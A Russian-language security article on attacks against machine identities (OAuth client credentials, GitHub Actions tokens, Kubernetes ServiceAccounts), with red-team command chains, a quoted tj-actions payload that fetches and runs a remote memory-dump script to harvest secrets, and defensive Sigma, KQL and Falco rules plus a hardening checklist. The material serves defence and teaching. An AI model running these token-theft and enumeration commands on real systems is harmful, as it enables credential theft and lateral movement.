Когда речь заходит об identity-атаках, security-инженеры рефлекторно думают о фишинге и краже паролей сотрудников. А зря. Реальная поверхность атаки давно сместилась: по данным Obsidian Security, 68% SaaS-инцидентов связаны с non-human identities - OAuth-токенами, сервисными аккаунтами, API-ключами и CI/CD-секретами. IBM X-Force Threat Intelligence Index фиксирует: identity-based атаки - 30% всех компрометаций. А отчёт BI.ZONE за 2025 год добивает: 57% инцидентов с привилегированными учётками проходят через легитимные действующие credentials - технику
Ссылка скрыта от гостей
, Initial Access / Persistence / Privilege Escalation / Defense Evasion).Как человек, который в рамках red team-кампаний лично угонял GitHub Actions OIDC-токены и эксплуатировал кривые OAuth client credentials в Azure AD, скажу прямо: атаки на сервисные аккаунты и токены - самый «тихий» и при этом разрушительный вектор. Ниже - практический разбор трёх TTP-цепочек (OAuth abuse, CI/CD hijacking, Kubernetes SA compromise) с готовыми правилами детектирования, которые можно внедрять сразу.
Non-Human Identities как главная цель атакующего
Non-Human Identities (NHI) - цифровые идентичности, которые аутентифицируют машины, приложения и автоматизированные процессы: OAuth-токены, API-ключи, сервисные аккаунты, сертификаты, workload identities и - всё чаще - AI-агенты. По разным оценкам, NHI превосходят человеческие идентичности в 25–50 раз (Obsidian Security) и до 92:1 (IBM). Каждый микросервис, каждая интеграция, каждый CI/CD-пайплайн плодит новые machine credentials, которые живут вне контуров классического IAM.Почему традиционный IAM не работает для NHI
Управление идентификацией и доступом строится на допущениях, которые к машинным идентичностям просто неприменимы:| Допущение IAM | Для человека | Для NHI |
|---|---|---|
| Жизненный цикл привязан к HR-событиям | Да | Нет - нет менеджера, нет увольнения |
| MFA при аутентификации | Да | Невозможно - bearer-токен = доступ |
| Поведенческий baseline (рабочие часы, геолокация) | Да | Нет - работает 24/7 отовсюду |
| Квартальный access review | Применим | Формален - никто не знает, что делает конкретный SA |
| Ротация credentials | Через парольную политику | Часто отсутствует - токены живут годами |
Именно этот governance gap делает NHI идеальной мишенью. OWASP выделяет отдельный NHI Top 10, где в тройке лидеров: improper offboarding (неотозванные токены после деактивации интеграций), secret leakage (утечка секретов в репозитории и логи) и overprivileged access - избыточные права, выданные «чтобы работало» (знакомо, да?).
OAuth client credential abuse - пошаговый разбор атаки
Ссылка скрыта от гостей
- механизм machine-to-machine аутентификации, при котором приложение получает access token напрямую от authorization server, используя client_id и client_secret. Никакого пользовательского согласия, никакого MFA - только секрет. Если атакующий получает эту пару, он получает все права, делегированные приложению. Вот так просто.Как ломается Client Credentials Flow
TTP-цепочка в типичной red team-кампании:- Разведка (T1552, Unsecured Credentials): находим client_id/client_secret в исходном коде, переменных окружения CI/CD, файлах конфигурации или через утечки (GitHub, .env-файлы, которые кто-то забыл добавить в .gitignore)
- Получение токена (T1528, Steal Application Access Token): обмениваем credentials на access token через стандартный OAuth endpoint
- Lateral movement (T1550.001, Use Alternate Authentication Material): используем полученный токен для доступа к API целевых сервисов - Graph API, Salesforce, внутренние микросервисы
- Persistence: client_secret сам по себе - долгоживущий credential (часто без срока истечения), позволяющий запрашивать новые access-токены в любой момент без дополнительной аутентификации
Bash:
# Получение OAuth access token через Client Credentials Flow
# Предполагаем, что client_id и client_secret уже получены (утечка, secrets в репо)
curl -X POST "https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" \
-d "client_id={stolen_client_id}" \
-d "client_secret={stolen_client_secret}" \
-d "scope=https://graph.microsoft.com/.default" \
-d "grant_type=client_credentials"
Для разведки OAuth-приложений в Azure AD использую ROADtools:
Bash:
# Установка и аутентификация ROADtools
pip install roadrecon
roadrecon auth -c {stolen_client_id} -p {stolen_client_secret} -t {tenant_id}
# Сбор данных о всех приложениях, service principals и их permissions
roadrecon gather
# Анализ - поиск overprivileged apps
roadrecon gui
# В GUI ищем приложения с Application Permissions (не Delegated)
# и правами типа Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory
Реальные инциденты компрометации OAuth-токенов
Salesloft-Drift (август 2025). Атакующие скомпрометировали SaaS-платформу Salesloft и украли OAuth access-токены интеграции чат-бота Drift с Salesforce. Используя эти токены как trusted NHI между Drift и Salesforce, злоумышленники имперсонировали интеграцию и получили доступ к CRM-данным более чем 700 компаний. Десять дней они спокойно выгружали записи клиентов, включая хранящиеся в тикетах поддержки AWS-ключи и Snowflake-токены. Один OAuth-токен - каскадная компрометация через всю SaaS supply chain.Microsoft Midnight Blizzard (январь 2024). APT29 эксплуатировала legacy test tenant account без MFA в инфраструктуре Microsoft. Забытый тестовый аккаунт - классический пример improper offboarding из OWASP NHI Top 10 - дал начальный доступ к внутренним системам. У Microsoft. Вдумайтесь.
Okta (октябрь 2023). Supply chain-компрометация через сервисный аккаунт, который должен был быть деактивирован за месяцы до инцидента. Последствия затронули Cloudflare: из 5000 ротированных credentials после инцидента один API-токен сервисного аккаунта остался активным, и через него атакующие зашли в Atlassian-инфраструктуру (Jira, Confluence, Bitbucket). Один из пяти тысяч - и этого хватило.
Практика поиска уязвимых OAuth-конфигураций
Для обнаружения кривых OAuth-приложений в периметре атаки я использую комбинацию инструментов:
Bash:
# Получение OAuth-токена через Client Credentials и парсинг JWT
# Вариант 1: через Invoke-RestMethod (универсальный, без внешних модулей)
$body = @{
client_id = $clientId
client_secret = $secret
scope = "https://graph.microsoft.com/.default"
grant_type = "client_credentials"
}
$token = Invoke-RestMethod -Method Post `
-Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Body $body
# Парсинг JWT для просмотра claims и scope
$payload = $token.access_token.Split('.')[1].Replace('-','+').Replace('_','/')
while ($payload.Length % 4) { $payload += '=' }
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json
Bash:
# Semgrep - поиск захардкоженных client_secret в коде
semgrep --config "p/secrets" --config "p/owasp-top-ten" /path/to/repo
# truffleHog - глубокий поиск секретов в Git-истории
trufflehog git file:///path/to/repo --only-verified
Угон токенов CI/CD - GitHub Actions как вектор компрометации
CI/CD-пайплайны - концентраторы секретов. Они хранят cloud credentials, API-ключи, SSH-приватники и токены доступа к registry. Компрометация одного workflow-action может открыть доступ к тысячам репозиториев и их секретам. Одного.Каскадная компрометация через GitHub Actions
В марте 2025 года произошла одна из самых масштабных supply chain-атак на CI/CD. По данным Mitiga и Kaspersky, цепочка выглядела так:- Атакующие угнали персональный токен доступа (PAT) мейнтейнера проекта SpotBugs
- Через этот токен скомпрометировали
reviewdog/action-setup(v1) - вредоносный коммит зафиксирован 11 марта 2025 - Через зависимость от reviewdog скомпрометировали
tj-actions/changed-files- 14 марта 2025 - Вредоносный код в
dist/index.jsвыполнял base64-закодированный payload, который тупо дампил все секреты из памяти процесса и выводил их в логи сборки
Bash:
# Декодированный payload из tj-actions/changed-files
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=$(curl -sSf https://gist.githubusercontent.com/.../memdump.py \
| sudo python3 \
| tr -d '\0' \
| grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' \
| sort -u | base64 -w 0 | base64 -w 0)
echo $B64_BLOB
fi
Параллельно фиксировались OAuth-фишинговые кампании на GitHub. По данным Mitiga, атакующие использовали поддельные OAuth-приложения под видом «Security Alert» и «GitHub Notification», затронув более 8000 репозиториев. Разработчики кликали на поддельное уведомление и отдавали атакующим полный доступ к своим репозиториям и секретам. Социальная инженерия в чистом виде, только жертва - не человек-пользователь, а OAuth-flow.
Ссылка скрыта от гостей
: утечка GitHub-токенов через JetBrains IDE
Критическая уязвимость CVE-2024-37051 (CVSS 9.3, CRITICAL) позволяла раскрывать GitHub access token третьим сторонам при использовании GitHub-плагина в JetBrains IDE. Вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N: атака по сети, низкая сложность, не нужны привилегии, но нужно действие пользователя (UI:R), при этом scope меняется (S:C) - скомпрометированный токен открывает доступ к ресурсам за пределами IDE.CWE-522 (Insufficiently Protected Credentials) - токены хранились и передавались без должной защиты. Затронуты все JetBrains IDE после версии 2023.1: IntelliJ IDEA, CLion, GoLand, PhpStorm, DataGrip, DataSpell, Aqua и MPS.
Показательный случай: разработчик просто работал в IDE, а его GitHub-токен утекал на сторонний сайт, давая атакующему полный доступ к приватным репозиториям. Никаких фишинговых писем, никаких вредоносных ссылок - просто открытая IDE.
Поиск утечек секретов в CI/CD-пайплайнах
Практический workflow для аудита CI/CD-секретов:
Bash:
# Шаг 1: Сканирование всех репозиториев организации на секреты
# truffleHog проверяет всю Git-историю, включая удалённые коммиты
trufflehog github --org=your-org --token=$GITHUB_PAT --only-verified
# Шаг 2: Аудит GitHub Actions workflows на опасные паттерны
# Semgrep ищет использование скомпрометированных или небезопасных actions
semgrep --config "p/github-actions" /path/to/workflows/
# Шаг 3: Сканирование Docker-образов на embedded credentials
trivy image --scanners vuln,secret your-registry/your-image:latest
# Шаг 4: Проверка, что workflows не выводят секреты в логи
grep -rn "echo.*\$\{\{.*secrets\." .github/workflows/
Компрометация сервисных аккаунтов в Kubernetes
В Kubernetes каждый pod автоматически получает ServiceAccount-токен, монтируемый в/var/run/secrets/kubernetes.io/serviceaccount/token. Если атакующий получил RCE в контейнере, этот токен - первое, что он заберёт. В кластерах с кривым RBAC один украденный ServiceAccount-токен может стать ключом ко всему кластеру.Lateral movement через украденный ServiceAccount-токен
TTP-цепочка эксплуатации Kubernetes ServiceAccount:- Initial Access: RCE в контейнере через уязвимое приложение
- Credential Access (T1552.001, Unsecured Credentials: Credentials in Files): чтение SA-токена из файловой системы пода
- Discovery: перечисление доступных API-ресурсов с этим токеном
- Lateral Movement: доступ к другим namespace, секретам, ConfigMap
- Privilege Escalation: при наличии прав на создание pods/roles - эскалация до cluster-admin
Bash:
# Внутри скомпрометированного пода:
# Шаг 1: Извлечение ServiceAccount токена
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API_SERVER="https://kubernetes.default.svc"
# Шаг 2: Проверка, что можно делать с этим токеном
# auth can-i --list покажет все доступные permissions
curl -s --cacert $CA_CERT \
-H "Authorization: Bearer $SA_TOKEN" \
"$API_SERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"'$NAMESPACE'"}}'
# Шаг 3: Попытка чтения секретов в текущем namespace
curl -s --cacert $CA_CERT \
-H "Authorization: Bearer $SA_TOKEN" \
"$API_SERVER/api/v1/namespaces/$NAMESPACE/secrets"
# Шаг 4: Попытка перечисления всех namespace (если есть cluster-level права)
curl -s --cacert $CA_CERT \
-H "Authorization: Bearer $SA_TOKEN" \
"$API_SERVER/api/v1/namespaces"
kubectl create clusterrolebinding «чтобы заработало», и забыл. Один такой токен давал доступ к database credentials, cloud provider keys и TLS-сертификатам по всему кластеру. Схожие техники LOTL в контейнерных средах позволяют атакующему действовать легитимными инструментами, не поднимая лишних алертов.Для пост-эксплуатации в Kubernetes - kubectl с украденным токеном:
Bash:
# Использование украденного токена вне кластера
kubectl --server=https://<api-server>:6443 \
--token="$SA_TOKEN" \
--certificate-authority=ca.crt \
get secrets --all-namespaces
# Поиск секретов с cloud credentials
kubectl --token="$SA_TOKEN" get secrets -A -o json | \
grep -i "aws\|azure\|gcp\|password\|token"
Детектирование компрометации токенов - готовые правила
Детектирование атак на сервисные аккаунты и токены требует покрытия трёх плоскостей: cloud IAM (OAuth abuse), CI/CD (GitHub/GitLab) и инфраструктура (Kubernetes). Ниже - конкретные правила. Копируйте и внедряйте.Sigma-правила для OAuth и service account abuse
YAML:
# Sigma-правило: аномальный OAuth Client Credentials Grant
title: Suspicious OAuth Client Credentials Grant from Unusual IP
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: >
Детектирует получение OAuth-токена через Client Credentials Flow
с нехарактерного IP-адреса или user-agent
logsource:
product: azure
service: signinlogs
detection:
selection:
properties.authenticationProtocol: 'OAuth2'
properties.clientCredentialType: 'ClientSecret'
filter_known:
properties.ipAddress|cidr:
- '10.0.0.0/8' # ваш корпоративный диапазон
- '172.16.0.0/12' # ваша CI/CD-инфраструктура
condition: selection and not filter_known
level: high
tags:
- attack.credential_access
- attack.t1528
YAML:
# Threat hunting запрос: service account используется впервые за 90 дней
# ПРИМЕЧАНИЕ: это НЕ real-time Sigma-правило. Для детектирования dormant SA
# необходим двухэтапный подход:
# 1) Scheduled query формирует baseline - список SP без sign-in за 90 дней
# 2) Real-time правило матчит новые sign-in события против этого списка
#
# Ниже - KQL-запрос для threat hunting в Azure Log Analytics:
# let DormantSPs = AADServicePrincipalSignInLogs
# | where TimeGenerated between (ago(180d) .. ago(90d))
# | summarize LastSeen=max(TimeGenerated) by ServicePrincipalId
# | join kind=leftanti (
# AADServicePrincipalSignInLogs
# | where TimeGenerated > ago(90d)
# | distinct ServicePrincipalId
# ) on ServicePrincipalId;
# AADServicePrincipalSignInLogs
# | where TimeGenerated > ago(1d)
# | where ResultType == 0
# | join kind=inner DormantSPs on ServicePrincipalId
# | project TimeGenerated, ServicePrincipalName, IPAddress, ServicePrincipalId
KQL-запросы для Entra ID и Azure
SQL:
// KQL: Обнаружение OAuth-токенов, запрошенных из нетипичных локаций
AADServicePrincipalSignInLogs
| where TimeGenerated > ago(24h)
| where ResultType == 0 // успешная аутентификация
| where ServicePrincipalCredentialKeyId != ""
| summarize
TypicalIPs = make_set(IPAddress) by ServicePrincipalName
| join kind=inner (
AADServicePrincipalSignInLogs
| where TimeGenerated > ago(1h)
| where ResultType == 0
| project ServicePrincipalName, IPAddress, TimeGenerated
) on ServicePrincipalName
| where not(TypicalIPs has IPAddress)
| project TimeGenerated, ServicePrincipalName, IPAddress, TypicalIPs
SQL:
// KQL: Обнаружение нового OAuth-приложения с высокими привилегиями
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName == "Add app role assignment to service principal"
| extend AppRoleValue = tostring(TargetResources[0].modifiedProperties[1].newValue)
| where AppRoleValue has_any ("Directory.ReadWrite.All",
"Mail.ReadWrite", "Files.ReadWrite.All",
"RoleManagement.ReadWrite.Directory")
| project TimeGenerated, InitiatedBy, AppRoleValue,
TargetResources[0].displayName
Falco-правила для Kubernetes
YAML:
# Falco: обнаружение чтения ServiceAccount токена внутри контейнера
- rule: Read ServiceAccount Token from Container
desc: >
Процесс внутри контейнера читает ServiceAccount токен.
Легитимно для service mesh и cloud SDK, подозрительно для shell и curl.
condition: >
open_read and
container and
fd.name = "/var/run/secrets/kubernetes.io/serviceaccount/token" and
not proc.name in (envoy, pilot-agent, coredns, kube-proxy) and
proc.name in (cat, curl, wget, python, python3, bash, sh, node)
output: >
ServiceAccount token read by suspicious process
(user=%user.name command=%proc.cmdline container=%container.name
pod=%k8s.pod.name namespace=%k8s.ns.name)
priority: WARNING
tags: [credential_access, k8s, T1552.001]
YAML:
# Falco: обнаружение обращений к Kubernetes API из пода через curl/wget
- rule: Direct Kubernetes API Access from Pod
desc: >
Обнаружение прямых HTTP-запросов к Kubernetes API Server
из контейнера - типичный паттерн пост-эксплуатации с украденным SA-токеном
condition: >
container and
evt.type in (connect, sendto) and
fd.sip = "kubernetes.default.svc" and
proc.name in (curl, wget, python, python3)
output: >
Direct K8s API access from container
(command=%proc.cmdline pod=%k8s.pod.name namespace=%k8s.ns.name
destination=%fd.sip:%fd.sport)
priority: NOTICE
tags: [discovery, lateral_movement, k8s]
Threat hunting по GitHub Audit Logs
По методологии Mitiga, для threat hunting по GitHub нужно анализировать audit logs на следующие IoA (Indicators of Attack):
Bash:
# Проверка публичных репозиториев (наиболее уязвимых к утечкам)
# В GitHub Enterprise Audit Log ищем:
# action: repo.access - изменение видимости на public
# action: integration_installation.create - новая OAuth app installation
# action: org.update_member - изменение прав участника
# Пример запроса к GitHub Audit Log API
curl -H "Authorization: Bearer $GITHUB_TOKEN" \
"https://api.github.com/orgs/{org}/audit-log?phrase=action:oauth_application.create+created:>2025-01-01" \
| jq '.[] | {actor: .actor, action: .action, created_at: .created_at, data: .data}'
| Событие | Описание | Уровень риска |
|---|---|---|
| oauth_application.create | Создание нового OAuth-приложения | Высокий |
| integration_installation.create | Установка интеграции с широкими permissions | Высокий |
| repo.download_zip | Массовая загрузка репозиториев | Средний |
| personal_access_token.create | Создание PAT с широкими scope | Средний |
| workflows.completed_workflow_run | Workflow использует скомпрометированный action | Критический |
Практический чеклист: hardening Non-Human Identities
По итогам десятков red team-кампаний и параллельной работы на стороне blue team - пошаговый чеклист, закрывающий основные вектора атак на machine identities.Делай раз - инвентаризация:
- Проведите полную инвентаризацию всех NHI: OAuth-приложения, service accounts, API-ключи, CI/CD-токены, Kubernetes ServiceAccounts
- Определите владельца для каждой NHI (нет владельца = orphaned = немедленный риск)
- Документируйте expected behavior: с каких IP, в какое время, какие API вызывает каждая NHI
- Внедрите least privilege для всех NHI: OAuth-приложения получают только необходимые scopes, Kubernetes SA - только нужные RBAC-роли
- Настройте автоматическую ротацию credentials: short-lived токены вместо long-lived, workload identity federation вместо статических ключей
- Замените static ServiceAccount tokens на Bound Service Account Tokens (проецируемые, с ограниченным TTL)
- Отключите автомонтирование SA-токенов в подах, где они не нужны:
automountServiceAccountToken: false
- Разверните Sigma/KQL-правила из этой статьи для детектирования OAuth abuse
- Настройте Falco с правилами для Kubernetes credential access
- Включите GitHub audit log streaming в SIEM и настройте алерты на критические события
- Внедрите поведенческий baseline для каждой NHI и алертинг на отклонения: нетипичный IP, нехарактерный объём запросов, новые API-вызовы
Вопрос на засыпку: вы знаете все machine credentials в своей инфраструктуре? И когда каждый из них использовался последний раз? Если нет - начните с
trufflehog github --org=your-org. Результаты могут неприятно удивить.
Последнее редактирование: